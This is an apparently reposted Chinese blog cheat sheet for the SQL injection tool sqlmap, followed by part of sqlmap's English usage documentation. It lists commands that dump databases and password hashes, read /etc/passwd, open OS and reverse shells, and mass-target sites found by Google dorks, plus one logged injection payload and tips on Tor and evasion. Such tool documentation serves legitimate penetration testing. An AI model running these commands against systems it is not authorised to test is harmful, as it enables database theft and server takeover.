devbox
小丑西瓜9
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

sqlmap用法_sqlmap dump between

作者：小丑西瓜9 | 2024-03-23 00:19:01

赞

踩

sqlmap dump between
常用命令
  1. ******************基本步骤***************
  2. sqlmap -u "http://url/news?id=1" --current-user #获取当前用户名称 sqlmap -u "http://www.xxoo.com/news?id=1" --current-db #获取当前数据库名称 sqlmap -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #列表名 sqlmap -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段 sqlmap -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容
******************信息获取****************** sqlmap -u "http://url/news?id=1" --smart --level 3 --users # smart 智能 level 执行测试等级 sqlmap -u "http://url/news?id=1" --dbms "Mysql" --users # dbms 指定数据库类型 sqlmap -u "http://url/news?id=1" --users #列数据库用户 sqlmap -u "http://url/news?id=1" --dbs#列数据库 sqlmap -u "http://url/news?id=1" --passwords #数据库用户密码 sqlmap -u "http://url/news?id=1" --passwords-U root -v 0 #列出指定用户数据库密码 sqlmap -u "http://url/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20 #列出指定字段，列出 20 条 sqlmap -u "http://url/news?id=1" --dump-all -v 0 #列出所有数据库所有表 sqlmap -u "http://url/news?id=1" --privileges #查看权限 sqlmap -u "http://url/news?id=1" --privileges -U root #查看指定用户权限 sqlmap -u "http://url/news?id=1" --is-dba -v 1 #是否是数据库管理员 sqlmap -u "http://url/news?id=1" --roles #枚举数据库用户角色 sqlmap -u "http://url/news?id=1" --udf-inject #导入用户自定义函数（获取系统权限！） sqlmap -u "http://url/news?id=1" --dump-all --exclude-sysdbs -v 0 #列出当前库所有表 sqlmap -u "http://url/news?id=1" --union-cols #union 查询表记录 sqlmap -u "http://url/news?id=1" --cookie "COOKIE_VALUE" #cookie 注入 sqlmap -u "http://url/news?id=1" -b #获取 banner 信息 sqlmap -u "http://url/news?id=1" --data "id=3" #post 注入 sqlmap -u "http://url/news?id=1" -v 1 -f #指纹判别数据库类型 sqlmap -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118" #代理注入 sqlmap -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" #指定关键词 sqlmap -u "http://url/news?id=1" --sql-shell #执行指定 sql 命令 sqlmap -u "http://url/news?id=1" --file /etc/passwd sqlmap -u "http://url/news?id=1" --os-cmd=whoami #执行系统命令 sqlmap -u "http://url/news?id=1" --os-shell #系统交互 shell sqlmap -u "http://url/news?id=1" --os-pwn #反弹 shell sqlmap -u "http://url/news?id=1" --reg-read #读取 win 系统注册表 sqlmap -u "http://url/news?id=1" --dbs-o "sqlmap.log" #保存进度 sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume #恢复已保存进度 sqlmap -g "google 语法" --dump-all --batch #google 搜索注入点自动 跑出所有字段 攻击实例: sqlmap -u "http://url/news?id=1&Submit=Submit" --cookie="PHPSESSID=41aa833e6d0d 28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users --password


Sqlamp Usage
https://github.com/sqlmapproject/sqlmap/wiki/Usage

  1. Usage: python sqlmap.py [options]
  2.  
  3. Options:
  4.   -h, --help            Show basic help message and exit
  5.   -hh                   Show advanced help message and exit
  6.   --version             Show program's version number and exit
  7.   -v VERBOSE            Verbosity level: 0-6 (default 1)
  8.  
  9.   Target:
  10.     At least one of these options has to be provided to define the
  11.     target(s)
  12.  
  13.     -d DIRECT           Connection string for direct database connection
  14.     -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
  15.     -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file
  16.     -x SITEMAPURL       Parse target(s) from remote sitemap(.xml) file
  17.     -m BULKFILE         Scan multiple targets given in a textual file
  18.     -r REQUESTFILE      Load HTTP request from a file
  19.     -g GOOGLEDORK       Process Google dork results as target URLs
  20.     -c CONFIGFILE       Load options from a configuration INI file
  21.  
  22.   Request:
  23.     These options can be used to specify how to connect to the target URL
  24.  
  25.     --method=METHOD     Force usage of given HTTP method (e.g. PUT)
  26.     --data=DATA         Data string to be sent through POST
  27.     --param-del=PARA..  Character used for splitting parameter values
  28.     --cookie=COOKIE     HTTP Cookie header value
  29.     --cookie-del=COO..  Character used for splitting cookie values
  30.     --load-cookies=L..  File containing cookies in Netscape/wget format
  31.     --drop-set-cookie   Ignore Set-Cookie header from response
  32.     --user-agent=AGENT  HTTP User-Agent header value
  33.     --random-agent      Use randomly selected HTTP User-Agent header value
  34.     --host=HOST         HTTP Host header value
  35.     --referer=REFERER   HTTP Referer header value
  36.     -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
  37.     --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")
  38.     --auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI)
  39.     --auth-cred=AUTH..  HTTP authentication credentials (name:password)
  40.     --auth-file=AUTH..  HTTP authentication PEM cert/private key file
  41.     --ignore-401        Ignore HTTP Error 401 (Unauthorized)
  42.     --proxy=PROXY       Use a proxy to connect to the target URL
  43.     --proxy-cred=PRO..  Proxy authentication credentials (name:password)
  44.     --proxy-file=PRO..  Load proxy list from a file
  45.     --ignore-proxy      Ignore system default proxy settings
  46.     --tor               Use Tor anonymity network
  47.     --tor-port=TORPORT  Set Tor proxy port other than default
  48.     --tor-type=TORTYPE  Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)
  49.     --check-tor         Check to see if Tor is used properly
  50.     --delay=DELAY       Delay in seconds between each HTTP request
  51.     --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
  52.     --retries=RETRIES   Retries when the connection timeouts (default 3)
  53.     --randomize=RPARAM  Randomly change value for given parameter(s)
  54.     --safe-url=SAFEURL  URL address to visit frequently during testing
  55.     --safe-post=SAFE..  POST data to send to a safe URL
  56.     --safe-req=SAFER..  Load safe HTTP request from a file
  57.     --safe-freq=SAFE..  Test requests between two visits to a given safe URL
  58.     --skip-urlencode    Skip URL encoding of payload data
  59.     --csrf-token=CSR..  Parameter used to hold anti-CSRF token
  60.     --csrf-url=CSRFURL  URL address to visit to extract anti-CSRF token
  61.     --force-ssl         Force usage of SSL/HTTPS
  62.     --hpp               Use HTTP parameter pollution method
  63.     --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
  64.                         "import hashlib;id2=hashlib.md5(id).hexdigest()")
  65.  
  66.   Optimization:
  67.     These options can be used to optimize the performance of sqlmap
  68.  
  69.     -o                  Turn on all optimization switches
  70.     --predict-output    Predict common queries output
  71.     --keep-alive        Use persistent HTTP(s) connections
  72.     --null-connection   Retrieve page length without actual HTTP response body
  73.     --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)
  74.  
  75.   Injection:
  76.     These options can be used to specify which parameters to test for,
  77.     provide custom injection payloads and optional tampering scripts
  78.  
  79.     -p TESTPARAMETER    Testable parameter(s)
  80.     --skip=SKIP         Skip testing for given parameter(s)
  81.     --skip-static       Skip testing parameters that not appear dynamic
  82.     --dbms=DBMS         Force back-end DBMS to this value
  83.     --dbms-cred=DBMS..  DBMS authentication credentials (user:password)
  84.     --os=OS             Force back-end DBMS operating system to this value
  85.     --invalid-bignum    Use big numbers for invalidating values
  86.     --invalid-logical   Use logical operations for invalidating values
  87.     --invalid-string    Use random strings for invalidating values
  88.     --no-cast           Turn off payload casting mechanism
  89.     --no-escape         Turn off string escaping mechanism
  90.     --prefix=PREFIX     Injection payload prefix string
  91.     --suffix=SUFFIX     Injection payload suffix string
  92.     --tamper=TAMPER     Use given script(s) for tampering injection data
  93.  
  94.   Detection:
  95.     These options can be used to customize the detection phase
  96.  
  97.     --level=LEVEL       Level of tests to perform (1-5, default 1)
  98.     --risk=RISK         Risk of tests to perform (1-3, default 1)
  99.     --string=STRING     String to match when query is evaluated to True
  100.     --not-string=NOT..  String to match when query is evaluated to False
  101.     --regexp=REGEXP     Regexp to match when query is evaluated to True
  102.     --code=CODE         HTTP code to match when query is evaluated to True
  103.     --text-only         Compare pages based only on the textual content
  104.     --titles            Compare pages based only on their titles
  105.  
  106.   Techniques:
  107.     These options can be used to tweak testing of specific SQL injection
  108.     techniques
  109.  
  110.     --technique=TECH    SQL injection techniques to use (default "BEUSTQ")
  111.     --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
  112.     --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
  113.     --union-char=UCHAR  Character to use for bruteforcing number of columns
  114.     --union-from=UFROM  Table to use in FROM part of UNION query SQL injection
  115.     --dns-domain=DNS..  Domain name used for DNS exfiltration attack
  116.     --second-order=S..  Resulting page URL searched for second-order response
  117.  
  118.   Fingerprint:
  119.     -f, --fingerprint   Perform an extensive DBMS version fingerprint
  120.  
  121.   Enumeration:
  122.     These options can be used to enumerate the back-end database
  123.     management system information, structure and data contained in the
  124.     tables. Moreover you can run your own SQL statements
  125.  
  126.     -a, --all           Retrieve everything
  127.     -b, --banner        Retrieve DBMS banner
  128.     --current-user      Retrieve DBMS current user
  129.     --current-db        Retrieve DBMS current database
  130.     --hostname          Retrieve DBMS server hostname
  131.     --is-dba            Detect if the DBMS current user is DBA
  132.     --users             Enumerate DBMS users
  133.     --passwords         Enumerate DBMS users password hashes
  134.     --privileges        Enumerate DBMS users privileges
  135.     --roles             Enumerate DBMS users roles
  136.     --dbs               Enumerate DBMS databases
  137.     --tables            Enumerate DBMS database tables
  138.     --columns           Enumerate DBMS database table columns
  139.     --schema            Enumerate DBMS schema
  140.     --count             Retrieve number of entries for table(s)
  141.     --dump              Dump DBMS database table entries
  142.     --dump-all          Dump all DBMS databases tables entries
  143.     --search            Search column(s), table(s) and/or database name(s)
  144.     --comments          Retrieve DBMS comments
  145.     -D DB               DBMS database to enumerate
  146.     -T TBL              DBMS database table(s) to enumerate
  147.     -C COL              DBMS database table column(s) to enumerate
  148.     -X EXCLUDECOL       DBMS database table column(s) to not enumerate
  149.     -U USER             DBMS user to enumerate
  150.     --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
  151.     --pivot-column=P..  Pivot column name
  152.     --where=DUMPWHERE   Use WHERE condition while table dumping
  153.     --start=LIMITSTART  First query output entry to retrieve
  154.     --stop=LIMITSTOP    Last query output entry to retrieve
  155.     --first=FIRSTCHAR   First query output word character to retrieve
  156.     --last=LASTCHAR     Last query output word character to retrieve
  157.     --sql-query=QUERY   SQL statement to be executed
  158.     --sql-shell         Prompt for an interactive SQL shell
  159.     --sql-file=SQLFILE  Execute SQL statements from given file(s)
  160.  
  161.   Brute force:
  162.     These options can be used to run brute force checks
  163.  
  164.     --common-tables     Check existence of common tables
  165.     --common-columns    Check existence of common columns
  166.  
  167.   User-defined function injection:
  168.     These options can be used to create custom user-defined functions
  169.  
  170.     --udf-inject        Inject custom user-defined functions
  171.     --shared-lib=SHLIB  Local path of the shared library
  172.  
  173.   File system access:
  174.     These options can be used to access the back-end database management
  175.     system underlying file system
  176.  
  177.     --file-read=RFILE   Read a file from the back-end DBMS file system
  178.     --file-write=WFILE  Write a local file on the back-end DBMS file system
  179.     --file-dest=DFILE   Back-end DBMS absolute filepath to write to
  180.  
  181.   Operating system access:
  182.     These options can be used to access the back-end database management
  183.     system underlying operating system
  184.  
  185.     --os-cmd=OSCMD      Execute an operating system command
  186.     --os-shell          Prompt for an interactive operating system shell
  187.     --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
  188.     --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC
  189.     --os-bof            Stored procedure buffer overflow exploitation
  190.     --priv-esc          Database process user privilege escalation
  191.     --msf-path=MSFPATH  Local path where Metasploit Framework is installed
  192.     --tmp-path=TMPPATH  Remote absolute path of temporary files directory
  193.  
  194.   Windows registry access:
  195.     These options can be used to access the back-end database management
  196.     system Windows registry
  197.  
  198.     --reg-read          Read a Windows registry key value
  199.     --reg-add           Write a Windows registry key value data
  200.     --reg-del           Delete a Windows registry key value
  201.     --reg-key=REGKEY    Windows registry key
  202.     --reg-value=REGVAL  Windows registry key value
  203.     --reg-data=REGDATA  Windows registry key value data
  204.     --reg-type=REGTYPE  Windows registry key value type
  205.  
  206.   General:
  207.     These options can be used to set some general working parameters
  208.  
  209.     -s SESSIONFILE      Load session from a stored (.sqlite) file
  210.     -t TRAFFICFILE      Log all HTTP traffic into a textual file
  211.     --batch             Never ask for user input, use the default behaviour
  212.     --binary-fields=..  Result fields having binary values (e.g. "digest")
  213.     --charset=CHARSET   Force character encoding used for data retrieval
  214.     --crawl=CRAWLDEPTH  Crawl the website starting from the target URL
  215.     --crawl-exclude=..  Regexp to exclude pages from crawling (e.g. "logout")
  216.     --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")
  217.     --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)
  218.     --eta               Display for each output the estimated time of arrival
  219.     --flush-session     Flush session files for current target
  220.     --forms             Parse and test forms on target URL
  221.     --fresh-queries     Ignore query results stored in session file
  222.     --hex               Use DBMS hex function(s) for data retrieval
  223.     --output-dir=OUT..  Custom output directory path
  224.     --parse-errors      Parse and display DBMS error messages from responses
  225.     --save=SAVECONFIG   Save options to a configuration INI file
  226.     --scope=SCOPE       Regexp to filter targets from provided proxy log
  227.     --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)
  228.     --test-skip=TEST..  Skip tests by payloads and/or titles (e.g. BENCHMARK)
  229.     --update            Update sqlmap
  230.  
  231.   Miscellaneous:
  232.     -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
  233.     --alert=ALERT       Run host OS command(s) when SQL injection is found
  234.     --answers=ANSWERS   Set question answers (e.g. "quit=N,follow=N")
  235.     --beep              Beep on question and/or when SQL injection is found
  236.     --cleanup           Clean up the DBMS from sqlmap specific UDF and tables
  237.     --dependencies      Check for missing (non-core) sqlmap dependencies
  238.     --disable-coloring  Disable console output coloring
  239.     --gpage=GOOGLEPAGE  Use Google dork results from specified page number
  240.     --identify-waf      Make a thorough testing for a WAF/IPS/IDS protection
  241.     --skip-waf          Skip heuristic detection of WAF/IPS/IDS protection
  242.     --mobile            Imitate smartphone through HTTP User-Agent header
  243.     --offline           Work in offline mode (only use session data)
  244.     --page-rank         Display page rank (PR) for Google dork results
  245.     --purge-output      Safely remove all content from output directory
  246.     --smart             Conduct thorough tests only if positive heuristic(s)
  247.     --sqlmap-shell      Prompt for an interactive sqlmap shell
  248.     --wizard            Simple wizard interface for beginner users

Output verbosity

Option: -v

This option can be used to set the verbosity level of output messages. There exist seven levels of verbosity. The default level is 1 in which information, warning, error, critical messages and Python tracebacks (if any occur) are displayed.

  • 0: Show only Python tracebacks, error and critical messages.
  • 1: Show also information and warning messages.
  • 2: Show also debug messages.
  • 3: Show also payloads injected.
  • 4: Show also HTTP requests.
  • 5: Show also HTTP responses' headers.
  • 6: Show also HTTP responses' page content.

A reasonable level of verbosity to further understand what sqlmap does under the hood is level 2, primarily for the detection phase and the take-over functionalities. Whereas if you want to see the SQL payloads the tools sends, level 3 is your best choice. This level is also recommended to be used when you feed the developers with a potential bug report, make sure you send along with the standard output the traffic log file generated with option -t. In order to further debug potential bugs or unexpected behaviours, we recommend you to set the verbosity to level 4 or above.

Target

At least one of these options has be provided to set the target(s).

Direct connection to the database

Option: -d

Run sqlmap against a single database instance. This option accepts a connection string in one of following forms:

  • DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME (MySQL, Oracle, Microsoft SQL Server, PostgreSQL, etc.)
  • DBMS://DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird, etc.)

For example:

  1. $ python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --bann\
  2. er --dbs --users

Target URL

Option: -u or --url

Run sqlmap against a single target URL. This option requires a target URL in following form:

http(s)://targeturl[:port]/[...]

For example:

  1. $ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -\
  2. -users

Parse targets from Burp or WebScarab proxy logs

Option: -l

Rather than providing a single target URL, it is possible to test and inject against HTTP requests proxied through Burp proxy or WebScarab proxy. This option requires an argument which is the proxy's HTTP requests log file.

Parse targets from remote sitemap(.xml) file

Option: -x

A sitemap is a file where web admins can list the web page locations of their site to tell search engines about the site content's organization. You can provide a sitemap's location to sqlmap by using option -x (e.g. -x http://www.target.com/sitemap.xml) so it could find usable target URLs for scanning purposes.

Scan multiple targets enlisted in a given textual file

Option: -m

Providing list of target URLs enlisted in a given bulk file, sqlmap will scan each of those one by one.

Sample content of a bulk file provided as an argument to this option:

  1. www.target1.com/vuln1.php?q=foobar
  2. www.target2.com/vuln2.asp?id=1
  3. www.target3.com/vuln3/id/1*

Load HTTP request from a file

Option: -r

One of the possibilities of sqlmap is loading of raw HTTP request from a textual file. That way you can skip usage of a number of other options (e.g. setting of cookies, POSTed data, etc).

Sample content of a HTTP request file provided as an argument to this option:

  1. POST /vuln.php HTTP/1.1
  2. Host: www.target.com
  3. User-Agent: Mozilla/4.0
  4.  
  5. id=1

Note that if the request is over HTTPS, you can use this in conjunction with switch --force-ssl to force SSL connection to 443/tcp. Alternatively, you can append :443 to the end of the Hostheader value.

Process Google dork results as target addresses

Option: -g

It is also possible to test and inject on GET parameters based on results of your Google dork.

This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with GET parameters asking you if you want to test and inject on each possible affected URL.

For example:

$ python sqlmap.py -g "inurl:\".php?id=1\""

Load options from a configuration INI file

Option: -c

It is possible to pass user's options from a configuration INI file, an example is sqlmap.conf.

Note that if you provide other options from command line, those are evaluated when running sqlmap and overwrite those provided in the configuration file.

Request

These options can be used to specify how to connect to the target URL.

HTTP method

Option: --method

sqlmap automatically detects the proper HTTP method to be used in HTTP requests. Nevertheless, in some cases, it is required to force the usage of specific HTTP method (e.g. PUT) that is not used by automatism. This is possible with usage of this option (e.g. --method=PUT).

HTTP data

Option: --data

By default the HTTP method used to perform HTTP requests is GET, but you can implicitly change it to POST by providing the data to be sent in the POST requests. Such data, being those parameters, are tested for SQL injection as well as any provided GET parameters.

For example:

  1. $ python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banne\
  2. r --dbs --users

Parameter splitting character

Option: --param-del

There are cases when default parameter delimiter (e.g. & in GET and POST data) needs to be overwritten for sqlmap to be able to properly split and process each parameter separately.

For example:

  1. $ python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=\
  2. 1" --param-del=";" -f --banner --dbs --users

HTTP Cookie header

Options and switch: --cookie, --cookie-del, --load-cookies and --drop-set-cookie

These options and switches can be used in two situations:

  • The web application requires authentication based upon cookies and you have such data.
  • You want to detect and exploit SQL injection on such header values.

Either reason brings you to need to send cookies with sqlmap requests, the steps to go through are the following:

  • Login to the application with your favourite browser.
  • Get the HTTP Cookie from the browser's preferences or from the HTTP proxy screen and copy to the clipboard.
  • Go back to your shell and run sqlmap by pasting your clipboard as value of the option --cookie.

Note that the HTTP Cookie header values are usually separated by a ; character, not by an &. sqlmap can recognize these as separate sets of parameter=value too, as well as GET and POST parameters. In case that the separation character is other than ; it can be specified by using option --cookie-del.

If at any time during the communication, the web application responds with Set-Cookie headers, sqlmap will automatically use its value in all further HTTP requests as the Cookie header. sqlmap will also automatically test those values for SQL injection. This can be avoided by providing the switch --drop-set-cookie - sqlmap will ignore any coming Set-Cookie header.

Vice versa, if you provide a HTTP Cookie header with option --cookie and the target URL sends an HTTP Set-Cookie header at any time, sqlmap will ask you which set of cookies to use for the following HTTP requests.

There is also an option --load-cookies which can be used to provide a special file containing Netscape/wget formatted cookies.

Note that also the HTTP Cookie header is tested against SQL injection if the --level is set to 2 or above. Read below for details.

HTTP User-Agent header

Option and switch: --user-agent and --random-agent

By default sqlmap performs HTTP requests with the following User-Agent header value:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

However, it is possible to fake it with the option --user-agent by providing custom User-Agent as the option's argument.

Moreover, by providing the switch --random-agent, sqlmap will randomly select a User-Agentfrom the ./txt/user-agents.txt textual file and use it for all HTTP requests within the session.

Some sites perform a server-side check of HTTP User-Agent header value and fail the HTTP response if a valid User-Agent is not provided, its value is not expected or is blacklisted by a web application firewall or similar intrusion prevention system. In this case sqlmap will show you a message as follows:

  1. [hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to 
  2. force the HTTP User-Agent header with option --user-agent or --random-agent

Note that also the HTTP User-Agent header is tested against SQL injection if the --level is set to3 or above. Read below for details.

HTTP Host header

Option: --host

You can manually set HTTP Host header value. By default HTTP Host header is parsed from a provided target URL.

Note that also the HTTP Host header is tested against SQL injection if the --level is set to 5. Read below for details.

HTTP Referer header

Option: --referer

It is possible to fake the HTTP Referer header value. By default no HTTP Referer header is sent in HTTP requests if not explicitly set.

Note that also the HTTP Referer header is tested against SQL injection if the --level is set to 3or above. Read below for details.

Extra HTTP headers

Option: --headers

It is possible to provide extra HTTP headers by setting the option --headers. Each header must be separated by a newline and it is much easier to provide them from the configuration INI file. You can take a look at the sample sqlmap.conf file for such case.

Example against a MySQL target:

  1. $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z \
  2. "ign,flu,bat,tec=E" --headers="Host:www.target.com\nUser-agent:Firefox 1.0" -v 5
  3. [...]
  4. [xx:xx:44] [TRAFFIC OUT] HTTP request [#5]:
  5. GET /sqlmap/mysql/get_int.php?id=1%20AND%20%28SELECT%209351%20FROM%28SELECT%20C\
  6. OUNT%28%2A%29%2CCONCAT%280x3a6161733a%2C%28SELECT%20%28CASE%20WHEN%20%285473%20\
  7. %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
  8. 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
  9. 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
  10. %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
  11. 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
  12. 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
  13. %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
  14. 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
  15. 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
  16. %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3D%20%20%20%20%20%20%20%\
  17. 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
  18. 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
  19. %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
  20. 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
  21. 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
  22. %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
  23. 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
  24. 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
  25. %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
  26. 20%20%20%20%20%20%20%20%20%20%20%205473%29%20THEN%201%20ELSE%200%20END%29%29%2C\
  27. 0x3a6c666d3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARA\
  28. CTER_SETS%20GROUP%20BY%20x%29a%
  29. 29 HTTP/1.1
  30. Host: www.target.com
  31. Accept-encoding: gzip,deflate
  32. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  33. User-agent: Firefox 1.0
  34. Connection: close
  35. [...]

HTTP protocol authentication

Options: --auth-type and --auth-cred

These options can be used to specify which HTTP protocol authentication back-end web server implements and the valid credentials to be used to perform all HTTP requests to the target application.

The three supported HTTP protocol authentication mechanisms are:

  • Basic
  • Digest
  • NTLM

While the credentials' syntax is username:password.

Example of valid syntax:

  1. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\
  2. =1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP protocol private key authentication

Option: --auth-file

This option should be used in cases when the web server requires proper client-side certificate and a private key for authentication. Supplied value should be a PEM formatted key_file that contains your certificate and a private key.

Ignore HTTP error 401 (Unauthorized)

Switch --ignore-401

In case that you want to test the site that occasionally returns HTTP error 401 (Unauthorized), while you want to ignore it and continue tests without providing proper credentials, you can use switch--ignore-401

HTTP(S) proxy

Options and switch: --proxy, --proxy-cred, --proxy-file and --ignore-proxy

It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S) requests to the target URL with option --proxy. The syntax of HTTP(S) proxy value is http://url:port.

If the HTTP(S) proxy requires authentication, you can provide the credentials in the formatusername:password to the option --proxy-cred.

In case that you want to use (disposable) proxy list, skipping to the next proxy on any sign of a connection problem (e.g. blocking of invasive IP address), option --proxy-file can be used by providing filename of a file containing bulk list of proxies.

Switch --ignore-proxy should be used when you want to run sqlmap against a target part of a local area network by ignoring the system-wide set HTTP(S) proxy server setting.

Tor anonymity network

Switches and options: --tor, --tor-port, --tor-type and --check-tor

If, for any reason, you need to stay anonymous, instead of passing by a single predefined HTTP(S) proxy server, you can configure a Tor client together with Privoxy (or similar) on your machine as explained in Tor installation guides. Then you can use a switch --tor and sqlmap will try to automatically set Tor proxy connection settings.

In case that you want to manually set the type and port of used Tor proxy, you can do it with options --tor-type and --tor-port (e.g. --tor-type=SOCKS5 --tor-port 9050).

You are strongly advised to use --check-tor occasionally to be sure that everything was set up properly. There are cases when Tor bundles (e.g. Vidalia) come misconfigured (or reset previously set configuration) giving you a false sense of anonymity. Using this switch sqlmap will check that everything works as expected by sending a single request to an official Are you using Tor? page before any target requests. In case that check fails, sqlmap will warn you and abruptly exit.

Delay between each HTTP request

Option: --delay

It is possible to specify a number of seconds to hold between each HTTP(S) request. The valid value is a float, for instance 0.5 means half a second. By default, no delay is set.

Seconds to wait before timeout connection

Option: --timeout

It is possible to specify a number of seconds to wait before considering the HTTP(S) request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half. By default 30 seconds are set.

Maximum number of retries when the HTTP connection timeouts

Option: --retries

It is possible to specify the maximum number of retries when the HTTP(S) connection timeouts. By default it retries up to three times.

Randomly change value for given parameter(s)

Option: --randomize

It is possible to specify parameter names whose values you want to be randomly changed during each request. Length and type are being kept according to provided original values.

Filtering targets from provided proxy log using regular expression

Option: --scope

Rather than using all hosts parsed from provided logs with option -l, you can specify valid Python regular expression to be used for filtering desired ones.

Example of valid syntax:

$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

Avoid your session to be destroyed after too many unsuccessful requests

Options: --safe-url, --safe-post, --safe-req and --safe-freq

Sometimes web applications or inspection technology in between destroys the session if a certain number of unsuccessful requests is performed. This might occur during the detection phase of sqlmap or when it exploits any of the blind SQL injection types. Reason why is that the SQL payload does not necessarily returns output and might therefore raise a signal to either the application session management or the inspection technology.

To bypass this limitation set by the target, you can provide any (or combination of) option:

  • --safe-url: URL address to visit frequently during testing.
  • --safe-post: HTTP POST data to send to a given safe URL address.
  • --safe-req: Load and use safe HTTP request from a file.
  • --safe-freq: Test requests between two visits to a given safe location.

This way, sqlmap will visit every a predefined number of requests a certain safe URL without performing any kind of injection against it.

Turn off URL encoding of parameter values

Switch: --skip-urlencode

Depending on parameter placement (e.g. GET) its value could be URL encoded by default. In some cases, back-end web servers do not follow RFC standards and require values to be send in their raw non-encoded form. Use --skip-urlencode in those kind of cases.

Bypass anti-CSRF protection

Options: --csrf-token and --csrf-url

Lots of sites incorporate anti-CSRF protection in form of tokens, hidden field values that are randomly set during each page response. sqlmap will automatically try to recognize and bypass that kind of protection, but there are options --csrf-token and --csrf-url that can be used to furter fine tune it. Option --csrf-token can be used to set the name of the hidden value that contains the randomized token. This is useful in cases when web sites use non-standard names for such fields. Option --csrf-url can be used for retrieval of the token value from arbitrary URL address. This is useful if the vulnerable target URL doesn't contain the necessary token value in the first place, but it is required to extract it from some other location.

Force usage of SSL/HTTPS

Switch: --force-ssl

In case that user wants to force usage of SSL/HTTPS requests toward the target, he can use this switch. This can be useful in cases when urls are being collected by using option --crawl or when Burp log is being provided with option -l.

Evaluate custom python code during each request

Option: --eval

In case that user wants to change (or add new) parameter values, most probably because of some known dependency, he can provide to sqlmap a custom python code with option --eval that will be evaluated just before each request.

For example:

  1. $ python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b9238\
  2. 20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

Each request of such run will re-evaluate value of GET parameter hash to contain a fresh MD5 hash digest for current value of parameter id.

Optimization

These switches can be used to optimize the performance of sqlmap.

Bundle optimization

Switch: -o

This switch is an alias that implicitly sets the following options and switches:

  • --keep-alive
  • --null-connection
  • --threads=3 if not set to a higher value.

Read below for details about each switch.

Output prediction

